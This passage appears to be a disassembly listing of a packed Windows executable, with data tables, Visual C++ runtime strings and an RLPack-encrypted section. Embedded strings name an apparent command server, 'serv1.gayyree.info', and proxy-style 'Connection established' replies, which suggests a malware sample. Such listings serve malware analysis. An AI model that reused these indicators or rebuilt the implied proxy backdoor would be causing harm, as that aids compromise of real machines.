		test	ah, ah
		jz	short loc_407872
		shr	eax, 10h
		cmp	al, bl
		jz	short loc_4078A7
		test	al, al
		jz	short loc_407872
		cmp	ah, bl
		jz	short loc_4078A0
		test	ah, ah
		jz	short loc_407872
		jmp	short loc_407836
; ---------------------------------------------------------------------------


loc_4078A0:				; CODE XREF: sub_407800+98j
		pop	esi
		pop	edi
		lea	eax, [edx-1]
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4078A7:				; CODE XREF: sub_407800+90j
		lea	eax, [edx-2]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4078AE:				; CODE XREF: sub_407800+85j
		lea	eax, [edx-3]
		pop	esi
		pop	edi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4078B5:				; CODE XREF: sub_407800+7Dj
		lea	eax, [edx-4]
		pop	esi
		pop	edi
		pop	ebx
		retn
sub_407800	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4078C0	proc near		; CODE XREF: sub_402D10+13p
		jmp	dword_40808C
sub_4078C0	endp

; ---------------------------------------------------------------------------
		align 4
		dd 1CEh	dup(0)
dword_408000	dd 0		dword_408004	dd 0				dd 0
dword_40800C	dd 0							; sub_407091+B9r
dword_408010	dd 0		dword_408014	dd 0							; sub_406CE8+14Dr ...
dword_408018	dd 0							; sub_406CE8+A7r
dword_40801C	dd 0		dword_408020	dd 0		dword_408024	dd 0		dword_408028	dd 0		dword_40802C	dd 0		dword_408030	dd 0							; sub_40612F+14r ...
dword_408034	dd 0							; sub_407091+261r
dword_408038	dd 0							; sub_405D65+8Dr
dword_40803C	dd 0							; sub_405D65+11Br ...
dword_408040	dd 0		dword_408044	dd 0							; sub_4058BE:loc_4059E3r ...
dword_408048	dd 0							; sub_4058BE+D8r ...
dword_40804C	dd 0							; sub_4017F0+21Er
dword_408050	dd 0		dword_408054	dd 0							; sub_4017F0+1A2r ...
dword_408058	dd 0		dword_40805C	dd 0		dword_408060	dd 0		dword_408064	dd 0							; sub_405D65+12Dr
dword_408068	dd 0		dword_40806C	dd 0							; sub_403076+Dr ...
dword_408070	dd 0							; sub_402FFB+1Dr
dword_408074	dd 0		dword_408078	dd 0		dword_40807C	dd 0							; sub_4052DA+38r
dword_408080	dd 0		dword_408084	dd 0		dword_408088	dd 0							; sub_4030DF+2C4r ...
dword_40808C	dd 0		dword_408090	dd 0		dword_408094	dd 0							; sub_404C58+59r
dword_408098	dd 0		dword_40809C	dd 0		dword_4080A0	dd 0		dword_4080A4	dd 0		dword_4080A8	dd 0		dword_4080AC	dd 0							; sub_4037C4+51r
dword_4080B0	dd 0							; sub_407632+F0r
dword_4080B4	dd 0		dword_4080B8	dd 0		dword_4080BC	dd 0		dword_4080C0	dd 0							; sub_4052DA+ABr ...
dword_4080C4	dd 0							; sub_404B26+E1r
dword_4080C8	dd 0		dword_4080CC	dd 0		dword_4080D0	dd 0							; sub_404E3C+143r
dword_4080D4	dd 0							; sub_404C58+166r
		dd 0
dword_4080DC	dd 0		dword_4080E0	dd 0		dword_4080E4	dd 0		dword_4080E8	dd 0		dword_4080EC	dd 0		dword_4080F0	dd 0		dword_4080F4	dd 0		dword_4080F8	dd 0		dword_4080FC	dd 0		dword_408100	dd 0		dword_408104	dd 0		dword_408108	dd 0		dword_40810C	dd 0		dword_408110	dd 0		dword_408114	dd 0		dword_408118	dd 0		dword_40811C	dd 0				dd 0
byte_408124	db 0			; DATA XREF: sub_403D8C+4Ar
		align 4
dword_408128	dd 0FFFFFFFFh, 402829h,	402836h, 0dword_408138	dd 0FFFFFFFFh, 402FB7h,	402FCBhbyte_408144	db 6			; DATA XREF: sub_403D8C:loc_403DE3r
		db 2 dup(0), 6
		dd 100h, 6030010h, 10020600h, 45454504h, 5050505h, 303505h
		dd 50h,	38282000h, 8075850h, 30303700h,	75057h,	8202000h
		dd 0
		dd 60686008h, 606060h, 78707000h, 8787878h, 807h, 8080007h
		dd 8000008h, 7000800h, 8
aNull:					; DATA XREF: .packed:off_4090F4o
		unicode	0, <(null)>,0
		align 10h
aNull_0		db '(null)',0           ; DATA XREF: .packed:off_4090F0o
		align 4
aRuntimeError	db 'runtime error ',0
		align 4
		db 0Dh,0Ah,0
		align 4
aTlossError	db 'TLOSS error',0Dh,0Ah,0
		align 4
aSingError	db 'SING error',0Dh,0Ah,0
		align 4
aDomainError	db 'DOMAIN error',0Dh,0Ah,0
		align 4
aR6028UnableToI	db 'R6028',0Dh,0Ah
		db '- unable to initialize heap',0Dh,0Ah,0
		align 4
aR6027NotEnough	db 'R6027',0Dh,0Ah
		db '- not enough space for lowio initialization',0Dh,0Ah,0
		align 4
aR6026NotEnough	db 'R6026',0Dh,0Ah
		db '- not enough space for stdio initialization',0Dh,0Ah,0
		align 4
aR6025PureVirtu	db 'R6025',0Dh,0Ah
		db '- pure virtual function call',0Dh,0Ah,0
		align 4
aR6024NotEnough	db 'R6024',0Dh,0Ah
		db '- not enough space for _onexit/atexit table',0Dh,0Ah,0
		align 4
aR6019UnableToO	db 'R6019',0Dh,0Ah
		db '- unable to open console device',0Dh,0Ah,0
		align 10h
aR6018Unexpecte	db 'R6018',0Dh,0Ah
		db '- unexpected heap error',0Dh,0Ah,0
		align 4
aR6017Unexpecte	db 'R6017',0Dh,0Ah
		db '- unexpected multithread lock error',0Dh,0Ah,0
		align 4
aR6016NotEnough	db 'R6016',0Dh,0Ah
		db '- not enough space for thread data',0Dh,0Ah,0
aAbnormalProgra	db 0Dh,0Ah
		db 'abnormal program termination',0Dh,0Ah,0
		align 4
aR6009NotEnough	db 'R6009',0Dh,0Ah
		db '- not enough space for environment',0Dh,0Ah,0
aR6008NotEnough	db 'R6008',0Dh,0Ah
		db '- not enough space for arguments',0Dh,0Ah,0
		align 4
aR6002FloatingP	db 'R6002',0Dh,0Ah      ; DATA XREF: .packed:off_4093A4o
		db '- floating point not loaded',0Dh,0Ah,0
		align 4
aMicrosoftVisua	db 'Microsoft Visual C++ Runtime Library',0 ; DATA XREF: sub_404E3C+119o
		align 4
asc_40846C	db 0Ah			; DATA XREF: sub_404E3C+F1o
		db 0Ah,0
		align 10h
aRuntimeErrorPr	db 'Runtime Error!',0Ah ; DATA XREF: sub_404E3C+D3o
		db 0Ah
		db 'Program: ',0
		align 4
a___		db '...',0              ; DATA XREF: sub_404E3C+BFo
aProgramNameUnk	db '<program name unknown>',0 ; DATA XREF: sub_404E3C+7Do
		align 4
aSunmontuewedth	db 'SunMonTueWedThuFriSat',0
		align 10h
aJanfebmaraprma	db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
		align 4
aTz		db 'TZ',0               ; DATA XREF: sub_4052DA+Ao
		align 4
dword_4084EC	dd 0							; sub_406CE8+57o ...
dword_4084F0	dd 2 dup(0)						; sub_406CE8+36o ...
dword_4084F8	dd 0FFFFFFFFh, 405E5Eh,	405E62haGetlastactivep	db 'GetLastActivePopup',0 ; DATA XREF: sub_4066F5+3Do
		align 4
aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_4066F5+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_4066F5+24o
aUser32_dll	db 'user32.dll',0       ; DATA XREF: sub_4066F5+Do
		align 10h
dword_408540	dd 0FFFFFFFFh, 406DF8h,	406DFCh, 0FFFFFFFFh, 406EACh, 406EB0h
					; DATA XREF: sub_406CE8+5o
dword_408558	dd 0FFFFFFFFh, 407248h,	40724Ch, 0FFFFFFFFh, 4072B7h, 4072BBh
					; DATA XREF: sub_407091+5o
		dd 869Ch, 2 dup(0)
		dd 86E4h, 80DCh, 85CCh,	2 dup(0)
		dd 873Eh, 800Ch, 85C0h,	2 dup(0)
		dd 876Eh, 8000h, 295h dup(0)
dword_409000	dd 0		dword_409004	dd 0		dword_409008	dd 0				dd offset sub_405AD5
		dd offset sub_4062B4
dword_409014	dd 0		dword_409018	dd 0				dd offset sub_405B7A
dword_409020	dd 0		dword_409024	dd 0		dword_409028	dd 2 dup(0)	dword_409030	dd 6425h	aServ1_gayyree_	db 'serv1.gayyree.info',0 ; DATA XREF: sub_4016E0+17o
		align 4
aHttp1_0201Unab	db 'HTTP/1.0 201 Unable to connect',0Dh,0Ah ; DATA XREF: sub_4017F0+F35o
		db 0Dh,0Ah,0
		align 4
aHttp1_0200Conn	db 'HTTP/1.0 200 Connection established',0Dh,0Ah
					; DATA XREF: sub_4017F0+E7Ao
		db 0Dh,0Ah,0
aD_D_D_D	db '%d.%d.%d.%d',0      ; DATA XREF: sub_4017F0+B3Eo
					; sub_4017F0+CB5o
aHttp		db 'http://',0          ; DATA XREF: sub_4017F0+5ABo
aAdvancedDhtmlE	db 'Advanced DHTML Enable',0 ; DATA XREF: sub_4017F0+1C3o
		align 10h
dword_4090C0	dd 1				align 10h
dword_4090D0	dd 19930520h, 3	dup(0)					; sub_402DE6+2o
off_4090E0	dd offset sub_402978	; DATA XREF: sub_402FD6+1Cr
dword_4090E4	dd 2							; sub_404E3C+46r ...
		dd 10h
dword_4090EC	dd 3F8h							; sub_406A9F+27r ...
off_4090F0	dd offset aNull_0	; DATA XREF: sub_403D8C:loc_4040F0r
					; sub_403D8C+457r
					; "(null)"
off_4090F4	dd offset aNull		; DATA XREF: sub_403D8C+259r
					; "(null)"
off_4090F8	dd offset word_409102	; DATA XREF: sub_402BE9+23r
					; sub_402BE9:loc_402C4Ar ...
		dd offset word_409102
		db 2 dup(0)
word_409102	dw 20h			; DATA XREF: sub_405EBF+18r
					; .packed:off_4090F8o ...
		unicode	0, <	    (((((		   H>
		dd 7 dup(100010h), 840010h, 4 dup(840084h), 100084h, 3 dup(100010h)
		dd 3 dup(810081h), 0Ah dup(10001h), 3 dup(100010h), 3 dup(820082h)
		dd 0Ah dup(20002h), 2 dup(100010h), 20h, 40h dup(0)
dword_409304	dd 1							; sub_402BE9:loc_402C35r ...
		dd 2Eh,	1
dword_409310	dd 0C0000005h						; sub_404785+11o
		dd 0Bh,	0
		dd 0C000001Dh, 4, 0
		dd 0C0000096h, 4, 0
		db 8Dh,	0
		dw 0C000h
		dd 8, 0
		dd 0C000008Eh, 8, 0
		dd 0C000008Fh, 8, 0
		db 90h
		db 2 dup(0), 0C0h
		dd 8, 0
		dd 0C0000091h, 8, 0
		dd 0C0000092h, 8, 0
		dd 0C0000093h, 8, 0
dword_409388	dd 3		dword_40938C	dd 7		dword_409390	dd 0Ah		dword_409394	dd 8Ch							; sub_404644+8Fw ...
dword_409398	dd 0FFFFFFFFh, 0A00hdword_4093A0	dd 2							; sub_404E3C+28r
off_4093A4	dd offset aR6002FloatingP ; DATA XREF: sub_404E3C+FCr
					; sub_404E3C+12Dr
					; "R6002\r\n- floating point not loaded\r\n"
		dd 8, 4083F0h, 9, 4083C4h, 0Ah,	4083A0h, 10h, 408374h
		dd 11h,	408344h, 12h, 408320h, 13h, 4082F4h, 18h, 4082BCh
		dd 19h,	408294h, 1Ah, 40825Ch, 1Bh, 408224h, 1Ch, 4081FCh
		dd 78h,	4081ECh, 79h, 4081DCh, 7Ah, 4081CCh, 0FCh, 4081C8h
		dd 0FFh, 4081B8h
dword_409430	dd 7080h						; sub_404E3C+1Bo ...
dword_409434	dd 1							; sub_4052DA+8Bw ...
dword_409438	dd 0FFFFF1F0h						; sub_4052DA+94w ...
dword_40943C	dd 545350h, 0Fh	dup(0)dword_40947C	dd 544450h, 0Fh	dup(0)off_4094BC	dd offset dword_40943C	; DATA XREF: sub_4052DA+BAr
					; sub_4052DA+D9r ...
off_4094C0	dd offset dword_40947C	; DATA XREF: sub_4052DA+F4r
					; sub_4052DA+11Br ...
		align 8
dword_4094C8	dd 0FFFFFFFFh						; sub_405538+1Er ...
dword_4094CC	dd 0							; sub_4056E4+BFw
dword_4094D0	dd 0							; sub_4056E4+E0w
		align 8
dword_4094D8	dd 0FFFFFFFFh						; sub_405538+26r ...
dword_4094DC	dd 0							; sub_4056E4+EAw ...
dword_4094E0	dd 0							; sub_4056E4+23r ...
dword_4094E4	dd 0FFFFFFFFh			dd 1Eh,	3Bh, 5Ah, 78h, 97h, 0B5h, 0D4h,	0F3h, 111h, 130h
		dd 14Eh
dword_409514	dd 16Dh							; sub_4056E4+2Er ...
dword_409518	dd 0FFFFFFFFh			dd 1Eh,	3Ah, 59h, 77h, 96h, 0B4h, 0D3h,	0F2h, 110h, 12Fh
		dd 14Dh, 16Ch, 0
off_409550	dd offset dword_517540	; DATA XREF: sub_405AD5+55o
		align 8
		dd offset dword_517540
		dd 101h
dword_409560	dd 2 dup(0)			dd 1000h, 0
dword_409570	dd 3 dup(0)			dd 2, 1, 3 dup(0)
dword_409590	dd 3 dup(0)			dd 2 dup(2), 7 dup(0)
dword_4095C0	dd 84h dup(0)	off_4097D0	dd offset sub_406C81	; DATA XREF: sub_403D8C+3AAr
					; sub_405AD5+69o
off_4097D4	dd offset sub_406C81	; DATA XREF: sub_403D8C+3E2r
		dd offset sub_406C81
off_4097DC	dd offset sub_406C81	; DATA XREF: sub_403D8C+3CBr
		dd offset sub_406C81
		dd offset sub_406C81
		align 10h
byte_4097F0	db 1			; DATA XREF: sub_405EF0+E1r
		db 2, 4, 8
		align 8
dword_4097F8	dd 3A4h		dword_4097FC	dd 82798260h, 21h, 0dword_409808	dd 0DFA6h			align 10h
		dd 0A5A1h, 0
		dd 0FCE09F81h, 0
		dd 0FC807E40h, 0
		dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE40h, 0
		dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0)
		dd 0FE81h, 0
		dd 0FE41h, 0
		dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0)
		dd 0FE81h, 0
		dd 0FEA17E40h, 0
		dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0)
		dd 0DED8D381h, 0F9E0h, 0FE817E31h, 0
dword_4098E8	dd 2 dup(0)	dword_4098F0	dd 1		dword_4098F4	dd 16h				dd 2 dup(2), 3,	2, 4, 18h, 5, 0Dh, 6, 9, 7, 0Ch, 8, 0Ch
		dd 9, 0Ch, 0Ah,	7, 0Bh,	8, 0Ch,	16h, 0Dh, 16h, 0Fh, 2
		dd 10h,	0Dh, 11h, 2 dup(12h), 2, 21h, 0Dh, 35h,	2, 41h
		dd 0Dh,	43h, 2,	50h, 11h, 52h, 0Dh, 53h, 0Dh, 57h, 16h
		dd 59h,	0Bh, 6Ch, 0Dh, 6Dh, 20h, 70h, 1Ch, 72h,	9, 6, 16h
		dd 80h,	0Ah, 81h, 0Ah, 82h, 9, 83h, 16h, 84h, 0Dh, 91h
		dd 29h,	9Eh, 0Dh, 0A1h,	2, 0A4h, 0Bh, 0A7h, 0Dh, 0B7h
		dd 11h,	0CEh, 2, 0D7h, 0Bh, 718h, 0Ch
dword_409A58	dd 3 dup(0)	dword_409A64	dd 0							; sub_4013E0+19w ...
		dd 0
dword_409A6C	dd 0		dword_409A70	dd 0							; sub_4012A0+ECw ...
dword_409A74	dd 0							; sub_4058BE+11Bw ...
		dd 0
dword_409A7C	dd 0		dword_409A80	dd 0		dword_409A84	dd 0		dword_409A88	dd 0		dword_409A8C	dd 0		dword_409A90	dd 0				align 8
dword_409A98	dd 0							; sub_406904+9r ...
dword_409A9C	dd 0		dword_409AA0	dd 0							; sub_406F76+4r ...
		align 8
dword_409AA8	dd 0				align 10h
byte_409AB0	db 0			; DATA XREF: sub_402989+2Dw
					; sub_405B7A+5r
		align 4
dword_409AB4	dd 0		dword_409AB8	dd 0							; sub_402989+8Bw
		align 10h
dword_409AC0	dd 0							; sub_402A3C+A4w
		align 8
word_409AC8	dw 0			; DATA XREF: sub_402A3C+55r
					; sub_402A3C+9Ao
word_409ACA	dw 0			; DATA XREF: sub_402A3C+48r
		db 2 dup(0)
word_409ACE	dw 0			; DATA XREF: sub_402A3C+3Br
word_409AD0	dw 0			; DATA XREF: sub_402A3C+2Er
word_409AD2	dw 0			; DATA XREF: sub_402A3C+21r
		align 8
dword_409AD8	dd 0							; sub_404820:loc_404832r ...
		align 10h
dword_409AE0	dd 0		dword_409AE4	dd 0							; sub_406A9F:loc_406AF0r ...
dword_409AE8	dd 0		dword_409AEC	dd 0							; sub_404644+46w ...
dword_409AF0	dd 41h dup(0)	dword_409BF4	dd 0							; sub_404B26+23w ...
dword_409BF8	dd 0				align 10h
dword_409C00	dd 0							; sub_4052DA+63w ...
		align 8
dword_409C08	dd 0							; sub_4052DA+46r
dword_409C0C	dd 10h dup(0)	word_409C4C	dw 0			; DATA XREF: sub_405538+A8r
word_409C4E	dw 0			; DATA XREF: sub_4052DA+54r
					; sub_405538+DBr ...
word_409C50	dw 0			; DATA XREF: sub_405538+CAr
word_409C52	dw 0			; DATA XREF: sub_405538+D3r
					; sub_405538:loc_40562Ar
word_409C54	dw 0			; DATA XREF: sub_405538+C0r
word_409C56	dw 0			; DATA XREF: sub_405538+B8r
word_409C58	dw 0			; DATA XREF: sub_405538+B0r
word_409C5A	dw 0			; DATA XREF: sub_405538+9Er
dword_409C5C	dd 0		dword_409C60	dd 10h dup(0)	word_409CA0	dw 0			; DATA XREF: sub_405538+46r
word_409CA2	dw 0			; DATA XREF: sub_4052DA:loc_405351r
					; sub_405538+78r ...
word_409CA4	dw 0			; DATA XREF: sub_405538+67r
word_409CA6	dw 0			; DATA XREF: sub_405538+70r
					; sub_405538:loc_4055BCr
word_409CA8	dw 0			; DATA XREF: sub_405538+5Dr
word_409CAA	dw 0			; DATA XREF: sub_405538+55r
word_409CAC	dw 0			; DATA XREF: sub_405538+4Dr
word_409CAE	dw 0			; DATA XREF: sub_405538+3Er
dword_409CB0	dd 0		dword_409CB4	dd 0							; sub_4052DA:loc_405426r ...
dword_409CB8	dd 0		dword_409CBC	dd 0		dword_409CC0	dd 0							; sub_405D65:loc_405DCFw
dword_409CC4	dd 0							; sub_406089+4w ...
dword_409CC8	dd 0		; resolved to->USER32.MessageBoxA					; sub_4066F5+2Ew ...
dword_409CCC	dd 0		; resolved to->USER32.GetActiveWindow					; sub_4066F5:loc_406744r
dword_409CD0	dd 0		; resolved to->USER32.GetLastActivePopup					; sub_4066F5+60r
		dd 2 dup(0)
dword_409CDC	dd 0							; sub_405D65+7Br
		dd 3 dup(0)
dword_409CEC	dd 0							; sub_4052DA+101r ...
		dd 0
dword_409CF4	dd 0							; sub_406CE8+4Cw ...
dword_409CF8	dd 0							; sub_407091+48w ...
word_409CFC	dw 0			; DATA XREF: sub_4016E0+2Fr
					; sub_4017F0+237w ...
		align 10h
dword_409D00	dd 0							; sub_4017F0+217o ...
dword_409D04	dd 0							; sub_4017F0+A93w ...
dword_409D08	dd 0							; sub_4017F0+38Dr ...
		align 10h
dword_409D10	dd 0		dword_409D14	dd 0							; sub_4017F0+A01w ...
dword_409D18	dd 0							; sub_4017F0+405r ...
dword_409D1C	dd 0							; sub_4017F0:loc_401C5Er
dword_409D20	dd 0							; sub_4017F0+EBBr
		dd 5 dup(0)
dword_409D38	dd 0							; sub_4017F0+44Cr ...
		dd 4355Dh dup(0)
dword_5172B0	dd 4 dup(0)	dword_5172C0	dd 2 dup(0)						; sub_4017F0+20Bo ...
dword_5172C8	dd 0							; sub_4017F0+365r
		dd 0Ch dup(0)
dword_5172FC	dd 0							; sub_405EF0+65w ...
dword_517300	dd 3 dup(0)						; sub_405EF0+171o ...
dword_51730C	dd 0							; sub_405EF0+15Dw ...
		dd 4 dup(0)
byte_517320	db 0			; DATA XREF: sub_40612F:loc_40623Bw
					; sub_40612F:loc_406258w ...
		align 4
		dd 3Fh dup(0)
byte_517420	db 0			; DATA XREF: sub_405EF0+5Co
					; sub_405EF0+AFo ...
byte_517421	db 0			; DATA XREF: sub_404972+3Fr
					; sub_404972+84r ...
		align 4
		dd 40h dup(0)
dword_517524	dd 0							; sub_405EF0+12Bw ...
dword_517528	dd 0							; sub_405AD5+41w ...
		dd 5 dup(0)
dword_517540	dd 400h	dup(0)						; .packed:00409558o
dword_518540	dd 0							; sub_405AD5:loc_405AEFw ...
		dd 7 dup(0)
dword_518560	dd 0							; sub_404C58:loc_404C78w ...
dword_518564	dd 3Fh dup(0)	dword_518660	dd 0							; sub_404C58:loc_404CE2r ...
dword_518664	dd 0							; sub_403713+5r ...
dword_518668	dd 0							; sub_4030DF+259r ...
dword_51866C	dd 0							; sub_4030DF+310w ...
dword_518670	dd 0							; sub_4030DF+22Cr ...
dword_518674	dd 0							; sub_4030B4r ...
dword_518678	dd 0							; sub_4030B4+8r ...
dword_51867C	dd 0							; sub_402B18+21r ...
dword_518680	dd 0							; sub_4047C8+Fr ...
dword_518684	dd 0							; sub_406904r
dword_518688	dd 0		dword_51868C	dd 0		dword_518690	dd 0							; sub_402989+57r
dword_518694	dd 0				align 2000h
_packed		ends

; Section 2. (virtual address 0011A000)
; Virtual size			: 00004F47 (  20295.)
; Section size in file		: 00004F47 (  20295.)
; Offset to raw	data for section: 0011A000
; Flags	E0000020: Text Executable Readable Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
_RLPack		segment	para public 'CODE' use32
		assume cs:_RLPack
		;org 51A000h
		assume es:nothing, ss:nothing, ds:_packed, fs:nothing, gs:nothing
		dd 0CA222B00h, 37444082h, 96B718E1h, 7A18C754h,	2525D76Bh
		dd 2EB9A7DBh, 7391CB86h, 0D0EE91F0h, 0A6A54390h, 95477E11h
		dd 219D01FCh, 47F54F14h, 275147D2h, 0D284A607h,	4736DE4Ch
		dd 14908DF1h, 1BACC524h, 9F54A111h, 0B5853D75h,	3B01A2ECh
		dd 9EA02B3Dh, 0E68231B4h, 8FE95597h, 44445FCh, 6E6771CBh
		dd 0DB757E6Bh, 0D4F204FEh, 1BDCF518h, 0BA399440h, 0A53EA2CFh
		dd 3E9591EFh, 0EBDC1D51h, 0EAE497A1h, 504C044Dh, 8AD28318h
		dd 30AED7B1h, 964760F9h, 8E421919h, 0A740DCCAh,	6386248Eh
		dd 0C73DB3E9h, 95E28039h, 0B61D71BBh, 1CB91085h, 8E7C1D50h
		dd 20DA2836h, 289FD180h, 0CD5D6478h, 863F49B4h,	677D8F2Ah
		dd 0B8789C97h, 80FC75DDh, 4F81734Fh, 78EB53D3h,	0C5B7630Fh
		dd 193DE72Ah, 9C2D416Bh, 1722F9Ch, 3F1C72CEh, 40E7DA23h
		dd 0F53E66C1h, 3A72A7FCh, 465EC39Bh, 3CFB238Ch,	0ECFA6BDEh
		dd 5168265Dh, 4F7178B4h, 31CD28CDh, 0ADBFBEB1h,	0A16B16CDh
		dd 2D3B52DDh, 67C0C168h, 4E51DD8Fh, 14FD2F72h, 0D91AD0Eh
		dd 20CFE60Ch, 5423F9C1h, 4A4728D4h, 469A8FD4h, 0DD3521BDh
		dd 711FC646h, 485F614Fh, 34514D41h, 0E285A539h,	0E497F80Bh
		dd 874AD370h, 3049A30Ch, 39EC5E29h, 576DA056h, 0D3B40337h
		dd 433E63E2h, 140DC462h, 6CD38FA9h, 0D028D43Eh,	842B2BFBh
		dd 1C59FCCBh, 84D3BE6h,	0FF240C50h, 0E800E785h,	7F3F4A88h
		dd 94716442h, 0F5756F93h, 9CF44D5Eh, 7AB3967Bh,	1BCCF3BAh
		dd 0B8490B0Ah, 34E51E60h, 0EB43712Bh, 640ADD02h, 0E38539FBh
		dd 3545E45Ch, 0A88A669Ch, 0AB647E5h, 44846841h,	97A18340h
		dd 0D7137C67h, 821472C6h, 46FA777Ch, 58B3B8BCh,	1051BFE8h
		dd 214D38E8h, 3B44B6E2h, 8AB1E4Dh, 7A4BE70Eh, 6B15F3AAh
		dd 1DF27B00h, 61855B42h, 0DAEA84D8h, 577489ACh,	6D20767Fh
		dd 0F91EB0A7h, 0AE45D993h, 0DFA4B60Ch, 0F23EB0DCh, 27B4DABh
		dd 1F19B9D3h, 7837FA4Ch, 48FD3219h, 413FE357h, 0F1428D4Dh
		dd 4F7E83D8h, 19089513h, 42380976h, 4C6A6E5Eh, 11AE7B59h
		dd 9C02E545h, 3E93D30Ah, 0E6274362h, 0F83675C4h, 0B2AD011Ch
		dd 43B99594h, 440EFCDAh, 241B44B5h, 21E0954Fh, 21A3E15Bh
		dd 59163097h, 11AE3AFAh, 0A532FD3Bh, 0EF07C928h, 0B66AEA9Eh
		dd 0A61C9876h, 5B3DB159h, 721E055Ch, 23F2DF7Eh,	0CE743C0Bh
		dd 0F55F627Ah, 176A5D47h, 8B9707B2h, 7EDE8CC7h,	3BCAEB64h
		dd 151561C0h, 35E46119h, 0AB06C2Bh, 7316B699h, 0B15EF038h
		dd 520D6ADCh, 0F9C469E1h, 0DD17E0BDh, 97164779h, 70093871h
		dd 0F03AC20Ah, 8869B0FFh, 0E6C89A4h, 8B8A46h, 3774365h
		dd 5F70445Eh, 9B0F936Dh, 0C3AC4737h, 67F2508Eh,	0A8BE0A0Bh
		dd 43B211AFh, 0C19C98FDh, 0BF5FE548h, 2D27EF8Ah, 73404007h
		dd 65C50405h, 1623068Ch, 78615B08h, 0E07C6346h,	62410E02h
		dd 3F5A51C9h, 8C93B547h, 0DBA436CEh, 83377071h,	8E049CE8h
		dd 161A0858h, 8A4F0714h, 1061862Ch, 0C7AAAA1Eh,	0A3B96495h
		dd 7C546F97h, 16488CA3h, 5C898287h, 52B0D2C9h, 0FDD08550h
		dd 6EEF5916h, 0F4DE5F17h, 7B619469h, 53820555h,	407F3092h
		dd 3CD79C53h, 0EBCB7B78h, 16BF7DB3h, 98FD7A10h,	550BA48Dh
		dd 93C72F2Ah, 9797F177h, 0C2FBC2E9h, 0EE1829FEh, 4D7019F4h
		dd 814F6974h, 19444DF1h, 5713CD49h, 0BD6FCD66h,	0DC582C26h
		dd 0CBFDB5F9h, 3FEED06h, 760E59C8h, 0ACB42F31h,	0A888765Ah
		dd 171C438Dh, 7BF0BEACh, 1FD6C2A3h, 0B773F937h,	5CED87BAh
		dd 6153B139h, 3071B9B0h, 0CE3DD221h, 38C6526Eh,	3DD4E386h
		dd 0CE1506B8h, 0C0D3642Ch, 0B7B6B5CCh, 4A563636h, 0B79A7028h
		dd 56E10C38h, 832929E2h, 0B59FDFEh, 3C839BF0h, 3B3A82Eh
		dd 47BF6E7Bh, 0EB8227DEh, 36982D73h, 4072DBFFh,	9DF16B5h
		dd 0E96C8746h, 0BAF8A0A8h, 0D22384EEh, 71F1DD2Dh, 1B2EC88Bh
		dd 5DD377B5h, 28892235h, 35DE7207h, 32E71F63h, 7F6CE0A5h
		dd 0C0A072CCh, 291A47C8h, 4E8FF6D6h, 95D6539Bh,	8D308281h
		dd 0CAA7DC85h, 0A536FBBEh, 0AE45A99Bh, 61171B44h, 0B47357A4h
		dd 0C5326431h, 0FA4BCFDDh, 0FA7884B1h, 2A4BAEB1h, 0BB3B5BD7h
		dd 4F01BBC6h, 5603D127h, 8B6EFCDDh, 0AFCF4A70h,	4C403BE8h
		dd 1A2D009Bh, 0B1CC282Ch, 0C35E8523h, 5F6193CAh, 7C471A4Bh
		dd 88A6785Dh, 1E8BF516h, 0C75573B2h, 4F724E0Ah,	0EA3DE9D7h
		dd 0ABCE5F32h, 0E4E000EDh, 0A76D4FCAh, 7860614Bh, 8BB5DA66h
		dd 0AE92C56Fh, 0BECB9863h, 73BCF9CCh, 0E42F9414h, 0B8CF015Fh
		dd 2679A1E2h, 1D38C339h, 57462C92h, 0DD27E1A7h,	1DC51636h
		dd 0F1D6F845h, 3E34860Bh, 274862AAh, 3B4012A2h,	3CFC466Bh
		dd 82166F4Dh, 0B4400AC8h, 1D556BDh, 0D1E746FEh,	3FAD3147h
		dd 4F825898h, 2DD96A5Eh, 0EA1A8BC7h, 0FB77ED2h,	5E55DA81h
		dd 30D2EEA3h, 3EE9F131h, 15467Ah, 6E5E6D61h, 786904CEh
		dd 0A236FC49h, 85FD65E1h, 0EB8206F2h, 0E3B0E487h, 38EE6410h
		dd 72BC36F8h, 59D21861h, 586EFC20h, 4AB445BEh, 8E9DB339h
		dd 91C0DC80h, 0B917F9E5h, 361D4F5Bh, 8B20F652h,	0F12B442Ah
		dd 513ECDE5h, 0D86E72C1h, 0AC68BBE6h, 0B4537078h, 0D110949Dh
		dd 9F6C0CD2h, 0DCDAB455h, 0BE463DEEh, 2603D19Ch, 48A37EB8h
		dd 1BF1EEFFh, 2ED7BD37h, 175E465Bh, 0C25AE5AEh,	1FBA2221h
		dd 0C4DB12E7h, 4D674A97h, 932FDC1Ch, 81181FE2h,	616369B4h
		dd 333CA9Eh, 6E389E08h,	9DACDEC0h, 0CC9D3E2Dh, 45BA5595h
		dd 0C791281Ch, 1867EC67h, 150AF502h, 49E09B85h,	3EB66B14h
		dd 9ABD546Eh, 549F2847h, 2330C14Bh, 0D76F0CBDh,	2BE88CD5h
		dd 8427FD01h, 86EB9194h, 88235166h, 0C16C9689h,	0D2461734h
		dd 0A51DB339h, 4F96824Bh, 0A516E1F0h, 821EB33h,	24D60CA5h
		dd 4D9CF970h, 5F36BCB1h, 22CE8A6Fh, 0F5EA7A22h,	35269D49h
		dd 34F60384h, 60753CAFh, 9D12E7C3h, 2D29A606h, 0EB59D443h
		dd 86DF11E1h, 0D1417A97h, 0FD0C92A6h, 0EB98CBAFh, 0FCDB610Eh
		dd 193F917Dh, 5E378042h, 7918B3ABh, 26F60AC0h, 5C96557Bh
		dd 42928D0Eh, 0EA89E2FFh, 0EC6E0C34h, 0E7AAEF86h, 0E94E36F1h
		dd 0A5CE31A8h, 2B99C771h, 0F25F986Dh, 0E581870Fh, 8EDBF683h
		dd 0E01643Dh, 0FDA9AD07h, 7507847Bh, 7E8893Ah, 0F30DD8FCh
